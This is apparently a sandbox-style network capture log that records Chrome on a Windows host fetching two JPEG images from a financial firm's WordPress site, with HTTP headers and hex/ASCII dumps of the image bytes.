2024-04-11 20:34:57 UTC	623	OUT	GET /wp-content/uploads/2017/06/banner2.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	716	IN	HTTP/1.1 200 OK Connection: close Content-Length: 204920 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7c682-32078" last-modified: Thu, 31 Aug 2017 08:19:14 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-lga21927-LGA, cache-lga21965-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.782809,VS0,VE54 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 03 3a 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 ff c4 00 1a 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 44 4f 7e 24 45 16 Data Ascii: JFIFC!"$"$C:@"DO~$E
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 45 a1 5b 99 0a 48 96 6e 0e 59 24 12 48 94 05 44 5c 50 4d 50 02 b4 20 8b 08 a9 2a 88 2b 04 0a 93 85 92 20 2c c4 c4 a4 11 53 0a d5 a9 65 28 3b c6 62 21 88 18 8b 04 c2 24 8a 88 c4 4c 09 09 8c 4e 1c e1 29 58 4a 10 d9 12 40 89 04 49 84 1c e5 14 c7 42 ac c5 f1 d4 a8 b5 25 72 00 05 43 1c 39 27 2c a5 09 4b 29 c1 e5 3b 29 94 ba 1d 57 73 d4 55 81 92 1a f3 f4 cc 19 1d 49 38 32 64 54 5b 2a 88 bd d1 29 6e 75 39 6c 75 b8 90 32 2a 6c ad 5a 15 b9 04 15 8c a8 b0 2b 2d 0a 8b 52 40 98 44 90 a8 60 84 91 91 8d 58 56 17 14 c8 b4 83 95 8a 42 24 a1 09 54 90 02 90 45 4d ad 6a d6 50 68 89 41 73 4a 5d a2 d4 ec 51 59 61 55 2b 42 b2 c0 a5 5e aa 95 7a 28 86 98 56 65 71 b9 4a ba 29 5a 9a a8 b0 10 c5 4d ca 20 ae 4b 59 62 20 4d 08 60 89 12 c4 92 10 c1 0d 02 61 15 34 45 4d 2c 54 d5 44 92 Data Ascii: E[HnY$HD\PMP + ,Se(;b!$LN)XJ@IB%rC9',K);)WsUI82dT[)nu9lu2*lZ+-R@D`XVB$TEMjPhAsJ]QYaU+B^z(VeqJ)ZM KYb M`a4EM,TD
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 21 95 16 c9 10 c1 0c 10 c1 0c 10 c1 0c a4 30 43 04 32 12 9a 20 48 a4 30 43 04 30 43 04 30 43 04 30 44 90 86 08 60 98 28 c2 00 00 00 00 01 80 10 c4 d4 00 ab 26 bc be 1f 65 36 23 8f 6b b5 e5 d5 ed f1 80 77 e2 80 a0 01 00 25 24 25 25 48 61 11 84 46 09 32 90 c2 23 08 8c 10 d2 89 94 86 84 30 88 d0 86 09 35 40 0a 86 11 18 24 c1 26 09 49 09 35 49 49 09 32 92 60 93 4b a0 64 e6 0c 80 60 9b 04 c6 26 31 31 c2 63 13 18 86 c4 32 01 80 30 4d 90 9b 04 db 58 93 22 0e 4a 90 d8 86 a1 88 18 02 18 88 65 25 20 43 04 30 43 04 30 06 a0 06 21 82 18 21 82 60 00 20 0d 50 00 30 43 04 31 10 c1 00 00 0d 00 00 09 82 1a 10 c0 4c 10 c1 0c 10 c0 18 21 8a 86 08 60 86 00 00 00 00 00 00 c1 0c 00 20 06 b5 65 d5 4f 83 db 5c 6d 5c 7b 4b 4d 1a 3d de 34 07 a3 80 9a 00 00 01 26 08 68 13 04 99 49 Data Ascii: !0C2 H0C0C0C0D`(&e6#kw%$%%HaF2#05@$&I5II2`Kd`&11c20MX"Je% C0C0!!` P0C1L!` eO\m\{KM=4&hI
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 81 20 89 20 81 22 a2 49 11 24 11 53 08 12 08 12 08 a9 a2 24 82 04 82 2a 6a d8 12 08 a9 04 54 82 04 8a 81 20 81 20 82 9a a8 a9 a2 04 83 aa 49 f0 b1 53 22 24 82 24 81 0c a4 30 44 88 88 cb 10 c1 0c 10 c1 0c 10 c1 0c 10 c1 0c 10 c1 0c 10 c4 4c 62 18 21 82 18 00 c4 30 4d 90 86 09 b0 43 62 18 21 b2 24 90 86 c8 92 08 b6 08 60 89 04 49 04 49 04 5b 08 92 08 92 08 92 08 92 08 92 42 18 44 90 44 91 51 24 11 18 21 82 52 08 92 08 92 08 92 08 92 08 92 08 8c 10 c4 43 16 24 82 24 82 23 04 30 89 20 89 20 63 3e 47 d4 8a 91 cf a1 5d b0 f7 f8 60 48 f6 f9 62 30 4a 41 12 41 12 4a 92 90 44 92 10 c2 24 82 24 91 12 41 15 34 44 91 51 24 88 92 08 8c 22 49 11 24 11 53 4b 15 30 81 22 a0 48 20 48 22 a6 88 12 2a 04 82 04 82 04 82 0a 65 41 4d 11 53 4b d5 6d f9 ec 49 04 49 04 49 09 12 41 Data Ascii: "I$S$jT IS"$$0DLb!0MCb!$`II[BDDQ$!RC$$#0 c>G]`Hb0JAAJD$$A4DQ$"I$SK0"H H"eAMSKmIIIA
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 63 3d bf 3d 26 5c 80 c4 30 06 08 60 86 00 c1 0c 10 c1 0c 10 c1 12 42 18 22 41 11 82 18 22 48 43 08 92 2a 24 91 12 48 88 c1 26 80 00 60 21 80 29 22 18 21 82 1b 10 c1 0d ad 6a 47 c9 fa b1 90 e5 4c 97 af c9 15 23 d9 e3 89 25 49 48 22 31 50 c1 29 32 04 82 24 90 94 8a 89 20 81 20 81 34 44 92 22 48 22 db 2e a3 55 1c 7a 52 a6 bb f3 89 20 8a 9a 22 48 58 a9 84 09 84 09 04 49 15 02 68 89 20 8c d3 3c ff 00 77 83 e8 25 ad 58 b5 20 ac 45 64 eb 97 68 e3 cc c6 80 01 0d 00 06 7c fb 97 cb fa be 62 6a bf c9 7d be a6 cc fd 5f bb e0 e0 29 bf cb 7d 13 ab 87 b3 fa 0f 0f 9f cf bb 2f c5 f7 43 af cd f4 5f 4f cb c6 e4 7a 0e 3f 9b a4 3a 58 fa 5a d6 9e 27 a6 f3 dd f8 40 b9 7c 7f 4f 57 0f 6f 97 fa 0f 07 3d 4d fe 73 df 7e ba f7 7e 83 c1 c4 85 d5 fc 0f 6d 5d 8e 5f 7f ea 70 e5 e6 e9 f3 Data Ascii: c==&\0`B"A"HC*$H&`!)"!jGL#%IH"1P)2$ 4D"H".UzR "HXIh <w%X Edh\|bj}_)}/C_Oz?:XZ'@\|OWo=Ms~~m]_p
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ad cb 33 57 a7 42 f3 27 d3 91 4c 3a 78 ea bd 99 6e c5 2c 2d ce a9 cd b2 5a 95 51 7a 96 b6 67 49 69 e6 e7 dc d1 56 6c c9 d4 bb 81 96 3d bc 7e 63 45 9f 48 b3 e6 fa ab dc d5 e2 1c be cf 37 13 6e a7 43 16 0c 9d 31 f5 ee ff 00 cb 73 78 f5 f5 03 c4 59 77 ec f0 79 cc f6 fa ac 3f 35 e7 5e 3f 76 d3 f2 ff 00 a5 cd c9 25 f0 fe ef 32 8d 54 7e 7b e9 74 b4 f2 2c fa 9e 32 c5 2f 2f a6 fd 19 ef f4 f9 b1 d7 6d 79 f4 59 d2 e7 ef e9 e6 ab 07 43 16 8f 7f 3f a3 d1 77 2b a9 cd ce 66 a4 b1 ad 79 76 64 ce 33 91 97 3f 4e ab 6a b3 af 9f 0d 56 9c 3d 35 75 f8 fd 6e dc b3 67 d1 4f 9a 2c 31 f2 3e cf 2d 3c ca 33 fd 9f 89 df f5 bf 3a d5 8d 7a 2f 27 d1 e6 fa 39 e4 ea f2 a5 d7 1f 59 e9 79 7e 3f cb fa 3e f9 da bc 9f 67 a3 5a f3 be cf 9d 7f 23 9f c8 f2 f7 e9 4f 8b 9b db e2 3a 9c 7d 3e 8f 2f Data Ascii: 3WB'L:xn,-ZQzgIiVl=~cEH7nC1sxYwy?5^?v%2T~{t,2//myYC?w+fyvd3?NjV=5ungO,1>-<3:z/'9Yy~?>gZ#O:}>/
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: f9 93 fa df 37 78 f9 f7 5f d4 db 5e 4b 6f 5e 7a 60 db aa dc dc 34 ef 39 69 e8 e6 62 dd ea 66 e5 e7 b3 d3 62 f3 79 77 8f 65 3f 09 41 f4 ac ff 00 3b 8d 9f 4c e6 f8 ad 71 e8 b3 f2 3a 9a 90 c9 d1 aa 5e 3e 6f 73 cc b3 cc 2f 7b 6e a7 cf f2 fd 32 36 7c e2 df a1 54 78 da 3d ff 00 94 ac dd 98 f7 6b 87 d2 5a 94 85 a4 aa b8 c2 2c b9 d6 4b 46 0e 8e 6c 2b a3 a1 19 bc cf 67 cd ef 3e ac 8f 37 3a ec 70 fb 1c cb 1e ac fd 3a 53 a3 6c bc fb a8 ba a5 96 ec 34 ec d7 55 84 2c a4 4b 3f 91 3d a6 5f 98 62 93 e8 fc ef 15 14 f7 f8 7c 64 a5 f6 3d 4f 9e 07 d6 f4 7c 6b 5d bf 52 b7 c3 fa bd 5e ad b8 f6 19 ef e7 5e 72 f7 99 4f 54 72 3b 78 d5 33 44 b7 79 8f 43 ce d4 c9 4f 37 a4 9d be 04 b0 4d 6c b5 59 d3 3a fc f7 b0 f3 9b cf cf 23 1b 1e 54 b4 e1 20 a4 f2 8a 8e 85 aa e3 b3 cb bf 26 3d 7e Data Ascii: 7x_^Ko^z`49ibfbywe?A;Lq:^>os/{n26\|Tx=kZ,KFl+g>7:p:Sl4U,K?=_b\|d=O\|k]R^^rOTr;x3DyCO7MlY:#T &=~
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 67 76 46 c8 ab 11 52 ba 07 a0 fa 8f c2 fd 1c d7 d1 3a 18 da d3 be b9 4b 47 9a f5 be 4b 78 f5 05 b6 f2 e9 ce e5 d1 a3 78 bf a7 ce bb 6a b5 47 4e 6e 57 77 cb 8a 79 51 96 b8 df 9e 6e c8 b8 ea ce d3 14 d5 70 9a 05 2c e4 49 c0 68 4a dc 63 12 9d 68 b2 a9 49 63 3b 6b 4a 23 61 2f ba f4 3f 22 fa 35 d7 ac 9c 30 db 1d bc 8e 86 a7 9c f4 9e 77 b5 96 ee 61 cf cd a7 0e 95 d7 1e 97 c0 7b 6f 25 d3 3b a5 5b f4 71 9c 63 28 95 6d c0 01 49 32 48 45 b2 12 28 24 e3 69 45 77 28 ad 5d 50 92 91 04 46 47 17 1d 47 f6 af 89 fd b3 87 5f 1f f3 f9 71 f9 36 43 25 f6 7d 06 1c 5e bf 6c 78 18 ec c5 cb 4a fb 7b 7a cf 99 3a 54 cb 44 22 e5 52 84 e9 db 55 d7 35 92 8c 8e ab a2 aa ca ec 92 bb 6b 86 9a 0a ec 62 ab 5c 16 b8 ea cb 75 b4 c2 49 75 7a 6a cd ae 36 57 75 f4 7f 65 e3 bd 6f 4e 8b cc 79 0c Data Ascii: gvFR:KGKxxjGNnWwyQnp,IhJchIc;kJ#a/?"50wa{o%;[qc(mI2HE($iEw(]PFGG_q6C%}^lxJ{z:TD"RU5kb\uIuzj6WueoNy
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ce 09 e9 a5 e6 99 e9 63 e6 d2 7a cb bc 3b 93 de af 08 ec fa 37 91 e5 d7 2f 72 5e 64 99 f4 f0 f3 b6 e6 f6 e3 c6 9d 9d 5a b0 4d 35 c2 12 58 c7 4c aa 82 f8 2d 6e 6a 41 c4 25 25 19 a2 bb 69 b2 85 a2 1b ae 79 de 33 aa 5c f8 f3 74 5f 2c 3a 55 73 33 46 fa 30 d9 b9 d7 ed 78 b1 be d4 78 59 b9 6f d6 6d f0 52 cb ec 6f 87 d0 f4 f0 ed 73 df 1e e7 c9 74 3b 99 bd 1c 7c db ed 53 35 85 6d a7 3a c7 cc e9 d7 ac c1 f5 32 4b d8 d7 9a 71 d3 bf ce 70 63 de 64 f1 34 d9 d9 c5 c0 57 3e db d3 fc af d6 63 59 dd dd 3e b8 e7 62 ec cf 3a e0 2e e2 ce f8 98 fb b8 8e 6d 9a 6b b2 83 a9 61 c6 3a b2 8d da 31 57 2f a1 d7 e2 0b 3d ec be 67 6e 6f d1 38 de 43 2d 7a 48 f9 4c 9a cf da 3e 5f 1d f2 62 df da 94 bc fc de 87 0e 35 c1 3a f8 e6 b9 94 f6 78 da 95 c1 df 62 9f 52 47 24 eb 1a 9c 83 a5 15 e6 Data Ascii: cz;7/r^dZM5XL-njA%%iy3\t_,:Us3F0xxYomRost;\|S5m:2Kqpcd4W>cY>b:.mka:1W/=gno8C-zHL>_b5:xbRG$
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6e 15 b5 db 97 02 3a c7 a1 df e5 7a 3c 3d 5d db 3c f4 35 9e e5 1c 1c bb e7 ea 34 f8 a8 6f 9f b8 9f ce 75 6b 3f 43 d7 e3 bb 35 d7 58 5a ea 97 32 11 d8 b7 8b d0 e7 d3 a9 ce d5 c1 f3 f4 ea be 1d 5e df 37 a2 3c ed 76 7a 43 cc 5c 77 6f e0 76 be 5f a8 c3 bb 85 a6 ea f1 bf a5 e5 d0 57 22 fb 73 29 6d e8 71 3a 7e 1f 46 ec 1a 79 9f 3b bc d6 0a 7f 41 e0 eb d5 c6 ca 9d ca f8 75 a7 73 37 2a 6b da d3 ce e8 fc cf 77 98 aa 79 be 97 86 f4 aa de 76 2c f5 4b ba fc 7a ab 66 bc 3a e5 34 67 bf c7 ea e6 72 3d 2f 03 b7 15 4e 85 e9 f3 f0 b3 ef cb 26 75 75 72 a9 4a 2a 55 2a 86 41 97 a5 1c ea 51 71 d6 48 91 15 53 85 8b b5 c7 db 35 be 88 ac d9 29 ea ac 07 6f a3 5e 3a 1e ca 85 f2 34 7b fc a9 e0 31 7b ac 57 3e 76 af 6b 94 f2 47 6a 9c de 51 be 06 18 6f 8e 6f 39 ec 55 96 5a 99 96 1b 6b Data Ascii: n:z<=]<54ouk?C5XZ2^7<vzC\wov_W"s)mq:~Fy;Aus7kwyv,Kzf:4gr=/N&uurJU*AQqHS5)o^:4{1{W>vkGjQoo9UZk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49786	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	638	OUT	GET /wp-content/uploads/2017/07/shutterstock_559577665.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:58 UTC	715	IN	HTTP/1.1 200 OK Connection: close Content-Length: 26276 content-type: image/jpeg x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "59a7c79f-66a4" last-modified: Thu, 31 Aug 2017 08:23:59 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:58 GMT X-Served-By: cache-ewr18129-EWR, cache-ewr18152-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.806087,VS0,VE272 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 39 01 f4 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 03 04 05 06 01 02 07 08 ff c4 00 19 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 ec a0 73 a0 01 1b 25 Data Ascii: JFIFC!"$"$C9"s%
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 1e 9b 6a dc a7 c5 16 ee b9 bd f2 3e 97 c8 b9 6d b5 fe 95 db ad 73 c1 fa 77 2a b3 47 2c ef fb 96 62 4a 9b e4 e9 41 91 89 95 f6 f2 e9 76 5d 25 3c f6 34 91 c4 46 61 cb 7d 73 c1 92 e4 e2 bd a2 b9 ba fb 9a 2a 86 dd 16 a7 39 41 89 d4 5e 2b 4f 22 6b b7 f2 a1 61 ae dd cb 07 3c ba d4 f3 2d d4 2e a3 4e f3 fa ad 6b 73 ae 92 e6 de 62 16 5f cb db 76 4f 19 f2 f4 8b a6 ef 64 50 93 d7 d5 e5 8f a1 74 be 59 d3 94 3d 26 dd 4e eb ad f1 a1 ab b9 a0 7a bc e7 47 9b 3d 17 3c fd ea d9 b8 8d cb 9b f4 cd fa a7 6c a5 0d ba 4d 2b aa e6 f1 f8 e7 6c 3d 18 b9 cd 4c 45 79 7a f3 b6 5b 6b eb e5 a7 65 a0 5e fc dd 59 73 59 9a f7 5e 69 ce 33 94 db bd 6f 9c f9 b5 a9 b6 21 ac 74 bc 75 89 38 5d c2 c0 f2 8e e6 c3 52 8d 54 eb 47 4e 5c ee cd 60 df 37 9d cc 5b 96 9a e6 13 17 34 2e 6a 54 de c2 e1 79 Data Ascii: j>mswG,bJAv]%<4Fa}s9A^+O"ka<-.Nksb_vOdPtY=&NzG=<lM+l=LEyz[ke^YsY^i3o!tu8]RTGN\`7[4.jTy
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 8d d4 62 8f 54 18 aa fd 78 60 b3 dd e4 68 ab 9d a1 0d d7 d9 51 d9 4c c6 82 99 29 ad 5f b0 de db 01 9e 98 00 00 3f ff c4 00 2e 10 00 00 06 00 04 04 06 02 03 01 01 00 00 00 00 00 00 01 02 03 04 05 06 11 12 13 10 20 21 31 14 15 22 30 32 33 23 24 16 34 40 41 25 ff da 00 08 01 01 00 01 05 02 e5 b1 56 98 ac b8 a2 9d 10 f3 63 d9 77 e0 60 81 04 77 2e dc f2 be 2d f7 77 e6 9f a9 8f b6 67 c2 17 c1 cf ec af eb 89 d9 ee e5 d9 3d f8 58 fc 5c 09 ed c0 b9 64 3a 86 51 2a e1 46 6e cb 79 c1 99 f0 c8 65 cf 88 26 37 1e 1a 17 93 b4 f2 5b 91 17 d9 77 e0 60 81 04 77 2f 62 57 c5 1d dd f9 a7 ea 63 ed 99 f0 85 f0 73 fb 2b fa e2 76 7b b9 76 4f 7e 16 3f 17 02 7b 70 2e 5c 40 e6 65 91 0e 9e d3 aa d2 8c 41 2d 52 e7 69 18 5a 6a a3 cc 49 e6 9f 61 cf 80 20 41 1d fd 89 5f 14 77 77 e6 9f a9 Data Ascii: bTx`hQL)_?. !1"023#$4@A%Vcw`w.-wg=X\d:Q*Fnye&7[w`w/bWcs+v{vO~?{p.\@eA-RiZjIa A_ww
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: cf a0 67 3d 4c cd b3 b3 23 66 e1 fb 88 fb 30 5b 34 c2 a8 84 dc b4 d7 ad 51 2d 2e 1d 26 62 50 33 aa 43 7d b8 2f 81 02 e0 a1 68 79 43 89 fd 87 4f 37 3d 87 fa 35 68 a2 54 9c 3a 59 cc c4 8a 56 db 86 30 92 3a e2 f2 0a cc 43 2f cf 58 5a 62 62 87 52 ec f3 c8 2b 2c a8 93 d1 3d 19 bb 71 47 3e af d7 63 48 5b d6 fc f6 f0 0e c1 15 f1 53 0e 24 ca 54 48 9f 27 0f a1 f9 11 30 fc 46 9c 0f e1 f8 ce bf 1d a4 b0 cc 1a 78 f1 25 b9 87 a1 a9 55 f5 51 21 29 f8 cc c9 24 54 43 4a 9e 8e d3 b1 e1 c5 6a 2a 1d ae 8a e3 f3 e2 b5 24 45 69 0c 13 5d 81 85 f0 4f 13 17 27 94 66 4f 24 67 ec cb 3c 98 9c ad 4e 61 84 fe 5c 48 b3 dc 70 61 54 7e 0c 59 ab c5 ab 31 58 9d 52 23 16 51 b1 02 4b cc cc 82 88 52 27 a1 9e 96 ae 56 97 66 d6 96 95 e1 64 67 3b fc 49 ef c8 b0 7d 14 c1 f4 06 17 c0 b8 28 c1 0b Data Ascii: g=L#f0[4Q-.&bP3C}/hyCO7=5hT:YV0:C/XZbbR+,=qG>cH[S$TH'0Fx%UQ!)$TCJj*$Ei]O'fO$g<Na\HpaT~Y1XR#QKR'Vfdg;I}(
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 1a 92 35 a4 6b 21 b8 37 06 b3 1a 94 33 31 8a d5 f9 7e 34 d9 7b 26 24 97 a5 e2 f5 20 ba b8 91 90 64 83 e5 c1 1d da f8 49 2e a0 82 02 51 b8 a7 0b c4 dd f3 99 91 17 8a 4e af 68 94 93 ff 00 06 27 56 76 32 8f 4d 0f b4 f9 66 97 cb aa 0b ab 85 d0 c8 32 41 f2 e8 64 11 dd 9f 8c a2 eb c1 02 bb fb 98 6d 1b b7 5c f6 07 f8 57 e1 cd 2d 7d 5c 67 ba f7 8a 4e 7a 78 d8 38 7a 9a 7b 44 8e 49 72 1c 31 05 e5 1a bd 9c 40 ad 56 d6 c7 a6 a0 66 33 19 8c f8 65 c8 ef 67 fe 49 2e ab 2e 86 41 a2 ea f9 74 32 09 ee cf c6 51 03 2e 08 11 bd 2d 60 c4 67 62 32 3e 67 9b 27 10 cc 32 4a b9 14 c2 14 f7 24 e6 d5 bb 16 33 8b 7f 89 f6 73 34 1c 04 19 b9 ec da 2f 5d 95 ff 00 46 7d a7 7b 3e 5d 52 5d 54 5d 0c 83 45 d5 e2 e8 a2 ea da 0d 47 1a 2b e6 97 6a e5 38 11 40 e1 84 50 47 20 8a 88 29 1e 5c c6 df Data Ascii: 5k!731~4{&$ dI.QNh'Vv2Mf2Adm\W-}\gNzx8z{DIr1@Vf3egI..At2Q.-`gb2>g'2J$3s4/]F}{>]R]T]EG+j8@PG )\
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 16 f6 3f b5 77 ba c5 24 66 8c d1 9a 33 3b 28 a2 bf e1 5d ea cc 4c 51 8a 31 46 28 a4 56 8b 7a 94 52 e5 0e 4b d2 fb 17 7a 4a 54 3e 4c 91 f2 44 f9 a2 7c e8 f9 cf 9d 9f 33 3e 69 10 f2 36 66 cc d9 9b 3c 4e 53 7f d1 89 fe a4 07 fe 3a 27 39 42 58 b1 73 f4 51 c1 5e cb 6c 87 64 fb 27 d1 83 30 30 30 30 30 30 30 21 12 8a 46 29 f0 45 28 ae 08 8a 4c 6d 9e 78 a7 c8 b7 5a ba 24 eb 84 2f c8 8f 5a 43 b1 f6 4b e9 93 69 0d 62 d1 c5 7f 64 b8 91 08 60 a8 87 7a 33 cc 2d ab b3 f9 12 fd 1f c0 f4 4b a1 10 d2 5f 4b e4 c6 4f b3 02 31 b9 d8 cf 1f 63 19 e4 77 21 6d 5d 90 ec 7d 8f f1 a4 b4 87 5a 3f ab 34 5c 6a c4 ef 94 7a 3c 44 89 c8 91 12 f6 74 ac 87 1c 8b 96 4d fa 22 89 09 58 f8 5a 63 66 03 55 f4 73 97 04 fc 72 e2 68 cb 28 d9 0e 62 78 89 c8 6e c9 0b 5e 0e 09 7f e1 2e 88 2d 1d a5 c6 Data Ascii: ?w$f3;(]LQ1F(VzRKzJT>LD\|3>i6f<NS:'9BXsQ^ld'0000000!F)E(LmxZ$/ZCKibd`z3-K_KO1cw!m]}Z?4\jz<DtM"XZcfUsrh(bxn^.-
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: ea a9 89 b5 5c 8b 50 92 38 e8 e1 88 c5 01 ed a3 41 41 54 b8 22 2f d4 f5 2f a8 8b c5 72 b7 3b 02 fa c9 5e ee d3 a2 87 8c 80 a6 08 ef 5c 7a 93 cf 5f b4 9f 64 0a a5 39 ae 95 b5 0a ed 99 b4 eb 2a 8e 74 ce 1b 00 2b 0b 34 ff 00 e3 2b d5 27 f7 0a f5 67 f7 d0 2e 4d 83 b6 56 fc d6 70 0f ef 04 d7 ba 68 43 7a 9c 4f c1 52 fd 7f 23 be 4b 1d d0 ff 00 6c ae 2c de e0 f9 ae 4a 5f f6 fc d7 22 ff 00 7c 2e 47 ff 00 97 f6 54 dc 63 f7 cf c9 57 d1 a3 f7 df f3 5e ab 67 f0 71 ff 00 ec b0 b3 59 7f c2 a9 b8 59 88 d9 b8 8f 82 36 9b 30 21 ad e5 23 ad 6e ec 20 ec f6 53 bf a4 92 b1 9d ae a2 c6 d9 07 f9 02 f5 c8 7d e5 eb 4d ee 05 72 ae 3d 91 95 86 ec 7f 22 c2 39 fd d1 f3 58 41 31 ef 0a be 8c ff 00 7c 2a 0b 28 ef 93 f6 55 6d 9e 3f 78 aa 18 e0 f0 3f 35 46 98 9b f9 3f 75 5d d1 b5 fe 98 54 Data Ascii: \P8AAT"//r;^\z_d9t+4+'g.MVphCzOR#Kl,J_"\|.GTcW^gqYY60!#n S}Mr="9XA1\|(Um?x?5F?u]T
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 5a 1f d1 84 fe a3 82 72 7b b6 94 e7 75 26 33 9b 3d 0e 29 98 e1 4d 1d eb b9 49 77 9f 3d 23 43 88 e6 53 4b d0 81 e7 c7 0f 8a 7b fa 11 ff 00 e8 71 37 b4 ab 6b fe eb 5b fa f0 4e 28 9d a9 ee 57 0f 30 41 02 8b 5d 90 18 68 6f e2 5d ca 6b d9 de d0 02 08 a9 07 5a b5 3f a4 58 cf 3a fc 15 a2 4d ae 0d e0 4c 10 c6 24 90 71 89 38 05 14 0e 86 1a 3d d7 70 ae 09 f6 78 a2 89 cd 6d 31 75 54 70 3a 28 43 5d 99 15 ca 88 dc 86 1f 02 99 05 a6 26 00 f3 74 16 f3 14 f8 1b 1c 45 82 84 54 1a a3 2b 8e a8 6d e2 9c 37 38 44 6c 63 9e ec 39 82 7b 26 6c 41 ad 65 ed 50 b7 3b 23 1a 5a 0d 2f bb 9f b1 36 19 04 77 4d 49 a0 ea 58 36 2f 75 48 27 dc da c6 32 f5 40 a2 3e 8e c6 35 9c c5 d9 94 c8 24 dc cb 5d 5c 87 07 18 d8 d5 37 de 94 0f 2f df 82 28 34 73 ac 46 69 ce e6 18 20 1b cc 80 ea 4e 93 9b 21 Data Ascii: Zr{u&3=)MIw=#CSK{q7k[N(W0A]ho]kZ?X:ML$q8=pxm1uTp:(C]&tET+m78Dlc9{&lAeP;#Z/6wMIX6/uH'2@>5$]\7/(4sFi N!
